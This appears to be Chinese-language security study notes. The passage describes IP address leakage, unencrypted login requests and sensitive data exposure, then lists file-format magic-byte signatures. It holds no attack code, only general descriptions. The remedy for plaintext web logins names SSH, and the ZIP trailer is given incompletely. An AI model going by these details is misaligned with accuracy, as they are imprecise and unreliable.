九、私有IP地址泄露漏洞 280 | 281 | 282 | 283 | IP地址是网络用户的重要标示,是攻击者进行攻击前需要了解的。获取的方法较多,攻击者也会因不同的网络情况采取不同的方法,如:在局域网内使用Ping指令,Ping对方在网络中的名称而获得IP;在Internet上使用IP版的QQ直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP包头信息,再根据这些信息了解具体的IP。 284 | 285 | 286 | 287 | 针对最有效的“数据包分析方法”而言,就可以安装能够自动去掉发送数据包包头IP信息的一些软件。不过使用这些软件有些缺点,譬如:耗费资源严重,降低计算机性能;访问一些论坛或者网站时会受影响;不适合网吧用户使用等等。现在的个人用户采用最普及隐藏IP的方法应该是使用代理,由于使用代理服务器后,“转址服务”会对发送出去的数据包有所修改,致使“数据包分析”的方法失效。一些容易泄漏用户IP的网络软件(QQ、MSN、IE等)都支持使用代理方式连接Internet,特别是QQ使用“ezProxy”等代理软件连接后,IP版的QQ都无法显示该IP地址。虽然代理可以有效地隐藏用户IP,但攻击者亦可以绕过代理,查找到对方的真实IP地址,用户在何种情况下使用何种方法隐藏IP,也要因情况而论。 288 | 289 | 290 | 291 | 十、未加密登录请求 292 | 293 | 294 | 295 | 由于Web配置不安全,登陆请求把诸如用户名和密码等敏感字段未加密进行传输,攻击者可以窃听网络以劫获这些敏感信息。建议进行例如SSH等的加密后再传输。 296 | 297 | 298 | 299 | 十一、敏感信息泄露漏洞 300 | 301 | 302 | 303 | SQL注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露,攻击者可以通过漏洞获得敏感信息。针对不同成因,防御方式不同。 304 | -------------------------------------------------------------------------------- /文件头文件尾总结: -------------------------------------------------------------------------------- 1 | 文件头文件尾总结 2 | JPEG (jpg),   文件头:FFD8FF                        文件尾:FF D9                3 | PNG (png),    文件头:89504E47                      文件尾:AE 42 60 82 4 | GIF (gif),   文件头:47494638                      文件尾:00 3B ZIP Archive (zip), 文件头:504B0304                      文件尾:50 4B 5 | 6 | TIFF (tif),   文件头:49492A00                      文件尾: 7 | Windows Bitmap (bmp),   文件头:424D                         文件尾: 8 | CAD (dwg),   文件头:41433130                      文件尾: 9 | Adobe Photoshop (psd), 文件头:38425053                      文件尾: 10 | Rich Text Format (rtf), 文件头:7B5C727466                     文件尾: 11 | XML (xml), 文件头:3C3F786D6C                     文件尾: 12 | HTML (html), 文件头:68746D6C3E 13 | Email [thorough only] (eml), 文件头:44656C69766572792D646174653A 14 | Outlook Express (dbx), 文件头:CFAD12FEC5FD746F 15 | Outlook (pst), 文件头:2142444E 16 | MS Word/Excel (xls.or.doc), 文件头:D0CF11E0 17 | MS Access (mdb), 文件头:5374616E64617264204A 18 | WordPerfect (wpd), 文件头:FF575043 19 | Adobe Acrobat (pdf), 文件头:255044462D312E 20 | Quicken (qdf), 文件头:AC9EBD8F 21 | Windows Password (pwl), 文件头:E3828596 22 | 23 | RAR Archive (rar), 文件头:52617221 24 | Wave (wav), 文件头:57415645 25 | AVI (avi), 文件头:41564920 26 | Real Audio (ram), 文件头:2E7261FD 27 | Real Media (rm), 文件头:2E524D46 28 | MPEG (mpg), 文件头:000001BA 29 | MPEG (mpg), 文件头:000001B3 30 | Quicktime (mov), 文件头:6D6F6F76 31 | Windows Media (asf), 文件头:3026B2758E66CF11 32 | MIDI (mid), 文件头:4D546864 33 | --------------------------------------------------------------------------------